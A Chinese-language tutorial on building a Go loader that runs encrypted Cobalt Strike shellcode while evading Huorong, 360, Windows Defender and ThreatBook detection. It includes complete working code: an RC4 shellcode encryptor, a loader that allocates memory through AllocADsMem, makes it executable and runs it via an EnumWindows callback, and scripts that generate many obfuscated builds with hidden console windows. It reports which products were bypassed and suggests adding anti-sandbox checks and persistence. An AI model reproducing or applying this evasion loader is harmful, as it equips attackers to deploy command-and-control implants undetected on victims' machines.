cs免杀(lodaer1,过国内御三家,微步云查杀)
字数 1171 2025-08-29 22:41:32

CS免杀Loader实现教程(过国内御三家及微步云查杀)

一、技术概述

本教程详细讲解如何实现一个基于Golang的CS(Cobalt Strike)免杀Loader,能够绕过国内主流杀毒软件(火绒、360、Defender)及微步云查杀。该Loader采用多种技术手段:

  • RC4加密Shellcode
  • 非常规API调用(ActiveDS.dll)
  • 内存操作技巧
  • 黑框隐藏技术
  • 多参数编译混淆

二、环境准备

1. CS版本选择

推荐使用以下版本:

  • CS4.9(内存查杀绕过效果最佳)
  • vShell(替代方案)
  • 不推荐CS4.5(火绒6.0对其内存查杀严格)

2. 工具准备

  • SGN:Shellcode加密工具(https://github.com/EgeBalci/sgn)
  • Go环境:1.18+版本
  • EditBin:Visual Studio自带工具(用于隐藏黑框)
  • Python环境:用于辅助脚本运行

三、实现步骤

1. CS配置与启动

./teamserver 192.168.70.129 yawataa CS4.9-10010.profile
  • 修改默认端口为1412(已去除特征)
  • 使用自定义profile文件

2. Shellcode生成与处理

生成原始Shellcode

  • 生成方式选择raw二进制格式
  • 保存为payload_x64.bin

使用SGN加密

sgn -a 64 -c 1 -o pd.bin payload_x64.bin

参数说明:

  • -a 64:64位架构
  • -c 1:加密轮数
  • -o pd.bin:输出文件

Shellcode格式转换

使用de.py脚本将二进制转换为Hex字符串:

def read_binary_file(file_path):
    try:
        with open(file_path, 'rb') as file:
            content = file.read()
        hex_string = ''.join(f'\\x{byte:02x}' for byte in content)
        print(hex_string)
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    read_binary_file("pd.bin")

RC4二次加密

使用rc4en.py进行加密:

from Crypto.Cipher import ARC4

shellcode = b"your_sc"
key = b'a3cb2tg1y!@#'
cipher = ARC4.new(key)
encrypted = cipher.encrypt(shellcode)
hex_bytes = [f"0x{b:02x}" for b in encrypted]
go_code = "var encryptedShellcode = []byte{" + ", ".join(hex_bytes) + "}"

with open('sc.txt', 'w', encoding='utf-8') as f:
    f.write(go_code)

3. Loader核心代码

package main

import (
    "crypto/rc4"
    "golang.org/x/sys/windows"
    "syscall"
    "unsafe"
)

func main() {
    // 1.加载必要DLL
    kernel32 := windows.NewLazyDLL("kernel32.dll")
    Activeds := syscall.NewLazyDLL("Activeds.dll")
    User32 := windows.NewLazyDLL("User32.dll")

    // 2.获取API函数
    AllocADsMem := Activeds.NewProc("AllocADsMem")
    VirtualProtect := kernel32.NewProc("VirtualProtect")
    EnumWindows := User32.NewProc("EnumWindows")
    RtlCopyMemory := kernel32.NewProc("RtlCopyMemory")

    // 3.RC4解密Shellcode
    key := []byte("a3cb2tg1y!@#")
    sc := []byte{0x41, 0x0b,..., 0xee} // 替换为加密后的Shellcode
    
    cp, _ := rc4.NewCipher(key)
    decrypted := make([]byte, len(sc))
    cp.XORKeyStream(decrypted, sc)

    // 4.内存操作
    addr, _, _ := AllocADsMem.Call(uintptr(len(decrypted)))
    RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decrypted[0])), uintptr(len(decrypted)))
    
    // 5.修改内存属性
    oldProtect := 0x40
    VirtualProtect.Call(addr, uintptr(len(decrypted)), 0x40, uintptr(unsafe.Pointer(&oldProtect)))
    
    // 6.执行Shellcode
    EnumWindows.Call(addr, 0)
}

关键点说明:

  • 使用ActiveDS.dllAllocADsMem而非VirtualAlloc规避检测
  • 通过EnumWindows回调执行Shellcode
  • RC4加密密钥硬编码为a3cb2tg1y!@#
  • 0x40表示PAGE_EXECUTE_READWRITE权限

4. 编译优化

多参数编译脚本

package main

import (
    "flag"
    "math/rand"
    "os/exec"
    "time"
)

var buildConfigs = [][]string{
    {},
    {"-race"},
    {"-trimpath"},
    {"-ldflags", "-w"},
    {"-ldflags", "-s"},
    {"-ldflags", "-H=windowsgui"},
    {"-ldflags", "-w -s"},
    {"-trimpath", "-ldflags", "-w -s"},
    {"-ldflags", "-w -s -H=windowsgui"},
    {"-trimpath", "-ldflags", "-w -s -H=windowsgui"},
}

func main() {
    sourceFile := flag.String("f", "", "Go source file")
    flag.Parse()
    
    rand.Seed(time.Now().UnixNano())
    for _, params := range buildConfigs {
        output := randomName() + ".exe"
        args := append([]string{"build", "-o", output}, append(params, *sourceFile)...)
        exec.Command("go", args...).Run()
    }
}

func randomName() string {
    chars := "yanami123456789"
    b := make([]byte, 8)
    for i := range b {
        b[i] = chars[rand.Intn(len(chars))]
    }
    return string(b)
}

黑框隐藏处理

使用editbin.exe修改子系统:

editbin /SUBSYSTEM:WINDOWS myapp.exe

批量处理脚本:

package main

import (
    "os/exec"
    "path/filepath"
)

func main() {
    filepath.Walk("./result", func(path string, info os.FileInfo, err error) error {
        if filepath.Ext(path) == ".exe" {
            exec.Command("editbin", "/SUBSYSTEM:WINDOWS", path).Run()
        }
        return nil
    })
}

四、测试结果

  1. 火绒6.0:绕过内存查杀
  2. 360安全卫士:显示"无风险"(测试10个样本存活1个)
  3. Windows Defender:完全绕过
  4. 微步云查杀:未检测到恶意行为

五、注意事项

  1. 密钥a3cb2tg1y!@#需要定期更换
  2. 不同CS版本需测试内存查杀效果
  3. 编译参数组合影响免杀效果,需多次尝试
  4. EditBin需配置到PATH环境变量
  5. 建议在虚拟机环境中测试

六、进阶优化

  1. 可添加反沙箱检测逻辑
  2. 实现流量加密规避网络检测
  3. 加入持久化机制
  4. 使用更复杂的加密算法替代RC4

通过以上步骤,即可实现一个能够绕过国内主流杀软的CS Loader。实际效果可能因环境差异而不同,建议根据实际情况调整参数和加密方式。

CS免杀Loader实现教程(过国内御三家及微步云查杀) 一、技术概述 本教程详细讲解如何实现一个基于Golang的CS(Cobalt Strike)免杀Loader,能够绕过国内主流杀毒软件(火绒、360、Defender)及微步云查杀。该Loader采用多种技术手段: RC4加密Shellcode 非常规API调用(ActiveDS.dll) 内存操作技巧 黑框隐藏技术 多参数编译混淆 二、环境准备 1. CS版本选择 推荐使用以下版本: CS4.9(内存查杀绕过效果最佳) vShell(替代方案) 不推荐CS4.5(火绒6.0对其内存查杀严格) 2. 工具准备 SGN :Shellcode加密工具(https://github.com/EgeBalci/sgn) Go环境 :1.18+版本 EditBin :Visual Studio自带工具(用于隐藏黑框) Python环境 :用于辅助脚本运行 三、实现步骤 1. CS配置与启动 修改默认端口为1412(已去除特征) 使用自定义profile文件 2. Shellcode生成与处理 生成原始Shellcode 生成方式选择 raw 二进制格式 保存为 payload_x64.bin 使用SGN加密 参数说明: -a 64 :64位架构 -c 1 :加密轮数 -o pd.bin :输出文件 Shellcode格式转换 使用 de.py 脚本将二进制转换为Hex字符串: RC4二次加密 使用 rc4en.py 进行加密: 3. Loader核心代码 关键点说明: 使用 ActiveDS.dll 的 AllocADsMem 而非 VirtualAlloc 规避检测 通过 EnumWindows 回调执行Shellcode RC4加密密钥硬编码为 a3cb2tg1y!@# 0x40 表示PAGE_ EXECUTE_ READWRITE权限 4. 编译优化 多参数编译脚本 黑框隐藏处理 使用 editbin.exe 修改子系统: 批量处理脚本: 四、测试结果 火绒6.0 :绕过内存查杀 360安全卫士 :显示"无风险"(测试10个样本存活1个) Windows Defender :完全绕过 微步云查杀 :未检测到恶意行为 五、注意事项 密钥 a3cb2tg1y!@# 需要定期更换 不同CS版本需测试内存查杀效果 编译参数组合影响免杀效果,需多次尝试 EditBin需配置到PATH环境变量 建议在虚拟机环境中测试 六、进阶优化 可添加反沙箱检测逻辑 实现流量加密规避网络检测 加入持久化机制 使用更复杂的加密算法替代RC4 通过以上步骤,即可实现一个能够绕过国内主流杀软的CS Loader。实际效果可能因环境差异而不同,建议根据实际情况调整参数和加密方式。